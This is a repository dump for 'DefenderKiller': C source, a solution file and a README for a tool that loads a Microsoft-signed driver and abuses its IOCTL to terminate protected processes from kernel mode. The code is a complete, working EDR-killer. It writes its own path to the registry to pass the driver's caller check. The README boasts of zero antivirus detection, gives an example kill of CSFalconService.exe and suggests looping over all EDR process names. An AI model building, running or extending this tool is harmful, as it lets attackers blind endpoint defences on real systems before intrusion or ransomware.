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/*
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* DefenderKiller
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* Kernel process termination using Microsoft's own signed driver
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* KSLDriver.sys (2011) - ZwTerminateProcess from ring 0
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*
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* Author: Jehad Abudagga
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* X: @j3h4ck | GitHub: @redteamfortress
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*/
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#define _CRT_SECURE_NO_WARNINGS
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#include <windows.h>
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#include <stdio.h>
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#include <winternl.h>
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#include <tlhelp32.h>
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#pragma comment(lib, "kernel32.lib")
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#pragma comment(lib, "advapi32.lib")
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#pragma comment(lib, "ntdll.lib")
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#define IOCTL 0x222044
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#define SVC "DefenderKiller"
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#define DEV L"\\\\.\\DefenderKiller"
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typedef NTSTATUS(WINAPI* pNtQIP)(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG);
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BOOL GetNtPath(WCHAR* out)
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{
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pNtQIP fn = (pNtQIP)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQueryInformationProcess");
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if (!fn) return FALSE;
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ULONG n = 0;
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fn(GetCurrentProcess(), (PROCESSINFOCLASS)27, NULL, 0, &n);
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if (!n) return FALSE;
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BYTE* b = (BYTE*)calloc(n + 2, 1);
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if (fn(GetCurrentProcess(), (PROCESSINFOCLASS)27, b, n, NULL))
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{
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free(b); return FALSE;
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}
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UNICODE_STRING* us = (UNICODE_STRING*)b;
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wcsncpy(out, us->Buffer, us->Length / 2);
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out[us->Length / 2] = 0;
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free(b);
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return TRUE;
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}
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BOOL IsDriverLoaded(void)
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{
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HANDLE h = CreateFileW(DEV, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
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if (h != INVALID_HANDLE_VALUE) { CloseHandle(h); return TRUE; }
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return FALSE;
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}
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int CmdLoad(const char* path)
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{
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if (GetFileAttributesA(path) == INVALID_FILE_ATTRIBUTES)
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{
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printf("[-] Driver not found: %s\n", path); return 1;
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}
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SC_HANDLE scm = OpenSCManagerA(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
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if (!scm) { printf("[-] Access denied. Run as administrator.\n"); return 1; }
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printf("[*] Cleaning up stale service...\n");
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SC_HANDLE old = OpenServiceA(scm, SVC, SERVICE_ALL_ACCESS);
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if (old) { SERVICE_STATUS ss; ControlService(old, SERVICE_CONTROL_STOP, &ss); DeleteService(old); CloseServiceHandle(old); Sleep(500); }
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printf("[*] Creating service '%s'...\n", SVC);
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SC_HANDLE svc = CreateServiceA(scm, SVC, SVC, SERVICE_ALL_ACCESS,
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SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, path, 0, 0, 0, 0, 0);
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if (!svc) { printf("[-] CreateService failed: %lu\n", GetLastError()); CloseServiceHandle(scm); return 1; }
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printf("[*] Configuring registry...\n");
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char rp[256];
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sprintf(rp, "SYSTEM\\CurrentControlSet\\Services\\%s", SVC);
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HKEY hk;
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if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, rp, 0, KEY_SET_VALUE, &hk) == ERROR_SUCCESS)
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{
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WCHAR dn[] = L"DefenderKiller";
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RegSetValueExW(hk, L"DeviceName", 0, REG_SZ, (BYTE*)dn, sizeof(dn));
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WCHAR ip[512];
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swprintf(ip, 512, L"\\??\\%hs", path);
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RegSetValueExW(hk, L"ImagePath", 0, REG_SZ, (BYTE*)ip, (DWORD)(wcslen(ip) + 1) * 2);
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WCHAR np[512] = { 0 };
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if (GetNtPath(np))
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{
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RegSetValueExW(hk, L"AllowedProcessName", 0, REG_SZ, (BYTE*)np, (DWORD)(wcslen(np) + 1) * 2);
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printf("[*] AllowedProcess: %S\n", np);
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}
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RegCloseKey(hk);
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}
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printf("[*] Starting driver...\n");
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if (!StartServiceA(svc, 0, NULL) && GetLastError() != ERROR_SERVICE_ALREADY_RUNNING)
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{
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printf("[-] StartService failed: %lu\n", GetLastError()); DeleteService(svc); CloseServiceHandle(svc); CloseServiceHandle(scm); return 1;
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}
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CloseServiceHandle(svc);
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CloseServiceHandle(scm);
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printf("[*] Verifying device access...\n");
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HANDLE h = CreateFileW(DEV, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
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if (h == INVALID_HANDLE_VALUE) { printf("[-] Device \\\\.\\%s not accessible\n", SVC); return 1; }
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CloseHandle(h);
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printf("[+] Driver loaded successfully\n");
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printf("[+] Service: %s\n", SVC);
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printf("[+] Device: \\\\.\\%s\n", SVC);
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printf("[+] Driver: %s\n", path);
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return 0;
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}
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int CmdKill(const char* target)
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{
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DWORD pid = 0;
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char procName[260] = { 0 };
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if (target[0] >= '0' && target[0] <= '9')
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{
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pid = atoi(target);
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/* resolve name for display */
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WCHAR wName[260] = { 0 };
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HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
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PROCESSENTRY32W pe; pe.dwSize = sizeof(pe);
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if (Process32FirstW(snap, &pe))
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do { if (pe.th32ProcessID == pid) { WideCharToMultiByte(CP_ACP, 0, pe.szExeFile, -1, procName, 260, NULL, NULL); break; } } while (Process32NextW(snap, &pe));
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CloseHandle(snap);
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}
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else
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{
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strncpy(procName, target, 259);
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WCHAR wTarget[260] = { 0 };
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MultiByteToWideChar(CP_ACP, 0, target, -1, wTarget, 260);
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HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
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PROCESSENTRY32W pe; pe.dwSize = sizeof(pe);
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if (Process32FirstW(snap, &pe))
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do { if (_wcsicmp(pe.szExeFile, wTarget) == 0) { pid = pe.th32ProcessID; break; } } while (Process32NextW(snap, &pe));
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CloseHandle(snap);
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if (!pid) { printf("[-] Process '%s' not found\n", target); return 1; }
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}
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if (!pid || pid == 4) { printf("[-] Cannot kill PID %u\n", pid); return 1; }
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printf("[*] Target: %s (PID %u)\n", procName[0] ? procName : "unknown", pid);
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if (!IsDriverLoaded())
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{
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printf("[-] Driver not loaded. Run 'load' first.\n");
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return 1;
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}
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printf("[*] Opening device...\n");
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HANDLE h = CreateFileW(DEV, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
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if (h == INVALID_HANDLE_VALUE) { printf("[-] Device open failed: %lu\n", GetLastError()); return 1; }
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printf("[*] Setting target PID %u...\n", pid);
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BYTE cmd[8] = { 0 }, out[8] = { 0 };
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DWORD br = 0;
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*(DWORD*)cmd = 8;
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*(DWORD*)(cmd + 4) = pid;
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if (!DeviceIoControl(h, IOCTL, cmd, 8, out, 8, &br, NULL))
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{
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printf("[-] IOCTL failed: %lu\n", GetLastError()); CloseHandle(h); return 1;
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}
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printf("[*] Closing handle (triggers ZwTerminateProcess)...\n");
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CloseHandle(h);
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Sleep(300);
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HANDLE hc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
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if (!hc)
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{
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printf("[+] Process %s (PID %u) terminated\n", procName[0] ? procName : "unknown", pid);
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return 0;
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}
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CloseHandle(hc);
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printf("[-] PID %u still alive\n", pid);
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return 1;
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}
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int CmdUnload(void)
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{
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SC_HANDLE scm = OpenSCManagerA(NULL, NULL, SC_MANAGER_ALL_ACCESS);
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if (!scm) { printf("[-] Access denied\n"); return 1; }
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SC_HANDLE svc = OpenServiceA(scm, SVC, SERVICE_ALL_ACCESS);
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if (!svc)
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{
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printf("[*] Service '%s' not found (already clean)\n", SVC);
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CloseServiceHandle(scm);
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return 0;
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}
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SERVICE_STATUS ss;
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printf("[*] Stopping service...\n");
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ControlService(svc, SERVICE_CONTROL_STOP, &ss);
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Sleep(300);
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printf("[*] Deleting service...\n");
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DeleteService(svc);
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CloseServiceHandle(svc);
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CloseServiceHandle(scm);
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printf("[+] Driver unloaded and service removed\n");
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return 0;
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}
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int main(int argc, char** argv)
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{
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if (argc < 2)
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{
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printf("\n");
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printf(" ██████╗ ███████╗███████╗███████╗███╗ ██╗██████╗ ███████╗██████╗ \n");
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printf(" ██╔══██╗██╔════╝██╔════╝██╔════╝████╗ ██║██╔══██╗██╔════╝██╔══██╗\n");
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printf(" ██║ ██║█████╗ █████╗ █████╗ ██╔██╗ ██║██║ ██║█████╗ ██████╔╝\n");
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printf(" ██║ ██║██╔══╝ ██╔══╝ ██╔══╝ ██║╚██╗██║██║ ██║██╔══╝ ██╔══██╗\n");
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printf(" ██████╔╝███████╗██║ ███████╗██║ ╚████║██████╔╝███████╗██║ ██║\n");
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printf(" ╚═════╝ ╚══════╝╚═╝ ╚══════╝╚═╝ ╚═══╝╚═════╝ ╚══════╝╚═╝ ╚═╝\n");
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printf(" ██╗ ██╗██╗██╗ ██╗ ███████╗██████╗ \n");
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printf(" ██║ ██╔╝██║██║ ██║ ██╔════╝██╔══██╗ \n");
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printf(" █████╔╝ ██║██║ ██║ █████╗ ██████╔╝ \n");
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printf(" ██╔═██╗ ██║██║ ██║ ██╔══╝ ██╔══██╗ \n");
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printf(" ██║ ██╗██║███████╗███████╗███████╗██║ ██║ \n");
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printf(" ╚═╝ ╚═╝╚═╝╚══════╝╚══════╝╚══════╝╚═╝ ╚═╝ \n");
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printf("\n");
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printf(" Jehad Abudagga\n");
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printf(" X: @j3h4ck | GitHub: @redteamfortress\n\n");
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printf(" Microsoft's own signed driver turned against itself.\n");
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printf(" KSLDriver.sys (2011) kernel ZwTerminateProcess.\n");
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printf(" Bypasses PPL, EDR callbacks, ObRegisterCallbacks.\n\n");
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printf(" Usage:\n");
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printf(" %s load <driver_path>\n", argv[0]);
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printf(" %s kill <PID | process_name>\n", argv[0]);
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printf(" %s unload\n\n", argv[0]);
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return 1;
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}
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if (_stricmp(argv[1], "load") == 0)
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{
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if (argc < 3) { printf("[-] Usage: %s load <path_to_KSLDriver_2011.sys>\n", argv[0]); return 1; }
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return CmdLoad(argv[2]);
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}
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if (_stricmp(argv[1], "kill") == 0)
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{
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if (argc < 3) { printf("[-] Usage: %s kill <PID | process_name>\n", argv[0]); return 1; }
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return CmdKill(argv[2]);
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}
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if (_stricmp(argv[1], "unload") == 0)
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return CmdUnload();
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printf("[-] Unknown command: %s\n", argv[1]);
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return 1;
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}
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@@ -0,0 +1,7 @@
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<Solution>
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<Configurations>
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<Platform Name="x64" />
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<Platform Name="x86" />
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</Configurations>
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<Project Path="DefenderKiller/DefenderKiller.vcxproj" Id="6ea9b4ed-7f8e-4ebf-a066-2fb16848cb13" />
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</Solution>
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Binary file not shown.
@@ -0,0 +1,92 @@
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# DefenderKiller
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**Kernel process termination using Microsoft's own signed driver.**
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KSLDriver.sys (2011) — a Microsoft Malware Protection driver signed by Microsoft Code Signing PCA — contains a `ZwTerminateProcess` primitive accessible via IOCTL from ring 0. DefenderKiller weaponizes this driver to terminate any process on the system, including PPL-protected and EDR-protected processes.
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## ⚠️ Disclaimer
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This tool is provided for **authorized security testing and educational purposes only**. Use only on systems you own or have explicit written permission to test. The author is not responsible for any misuse.
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## 📝 Blog Post
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Full reverse engineering writeup and technical breakdown:
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**[Born to Defend, Weaponized to Kill: Weaponizing Microsoft's Own Driver to Kill EDRs](https://medium.com/@jehadbudagga/born-to-defend-weaponized-to-kill-weaponizing-microsofts-own-driver-to-kill-edrs-af4b85c1a43c)**
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## Why This Is Different
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Every BYOVD tool out there relies on third-party drivers. DefenderKiller uses **Microsoft's own signed Defender driver** against itself.
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- **0/70 detection** on VirusTotal
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- **Microsoft Code Signing PCA** signed — trusted at the highest level
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- **Not on the Vulnerable Driver Blocklist** — Microsoft excludes their own drivers by design
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- **Bypasses PPL** — `ZwTerminateProcess` from kernel mode ignores Protected Process Light
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- **Bypasses ObRegisterCallbacks** — `ZwOpenProcess` from ring 0 skips EDR handle protection
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- **Survives April 2026 driver trust policy** — WHCP attestation-signed drivers are still trusted
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## How It Works
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1. Load the Microsoft-signed KSLDriver.sys with a custom service
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2. Bypass the `AllowedProcessName` check by writing our own path to the registry
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3. Send IOCTL `0x222044` sub-command 8 with the target PID
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4. Close the handle — `IRP_MJ_CLEANUP` fires `ZwTerminateProcess` from kernel mode
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5. Target process terminated. No callback intercepts it. No protection blocks it.
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## Usage
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```
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DefenderKiller.exe load C:\path\to\KSLDriver_2011.sys
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DefenderKiller.exe kill <PID or process name>
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DefenderKiller.exe unload
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```
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### Example
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```
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C:\> DefenderKiller.exe load C:\KSLDriver_2011.sys
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[+] Loaded
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C:\> DefenderKiller.exe kill CSFalconService.exe
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[+] Killed 4628
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C:\> DefenderKiller.exe unload
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[+] Unloaded
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```
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## Driver Details
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| Property | Value |
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|----------|-------|
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| **File** | KSLDriver.sys |
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| **Description** | Microsoft Malware Protection - KSLDriver |
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| **Product** | Microsoft Malware Protection |
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| **Version** | 1.1.0013.0 |
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| **Size** | 34.83 KB (35,664 bytes) |
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| **Architecture** | x64 (64-bit native) |
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| **Date Signed** | September 16, 2011 |
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| **Signer** | Microsoft Corporation |
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| **Certificate** | Microsoft Code Signing PCA → Microsoft Root Authority |
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| **Detection** | **0/70** on VirusTotal |
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| **SHA-256** | `d5764d24e78914ab2a9db6b24e323342d0b37998f43add1a9e49b00992b0d645` |
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| **MD5** | `0ebb390b7aeec45ec061d9870a34fd42` |
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| **SHA-1** | `7772c1215e31836cc8d830cb65f224ec929cfb69` |
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| **Imphash** | `8bf2a95defbf5214f859fd3f24f64e5f` |
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| **Authentihash** | `0a19385f73a265d8086a8b1304873110ce33a37ce08d442b9fb9390c82fa50e7` |
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| **VirusTotal** | [Full Analysis](https://www.virustotal.com/gui/file/d5764d24e78914ab2a9db6b24e323342d0b37998f43add1a9e49b00992b0d645) |
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## Note
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This is a simple POC that demonstrates the kill primitive. Some EDRs will respawn their processes through a watchdog service or a secondary kernel component. To handle that, you can weaponize this further by running the kill in a loop targeting all known EDR process names.
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## Author
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**Jehad Abudagga**
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[](https://x.com/j3h4ck)
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[](https://www.linkedin.com/in/jehad-abudagga)
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[](https://medium.com/@jehadbudagga)
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||||
[](https://github.com/redteamfortress)
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BIN
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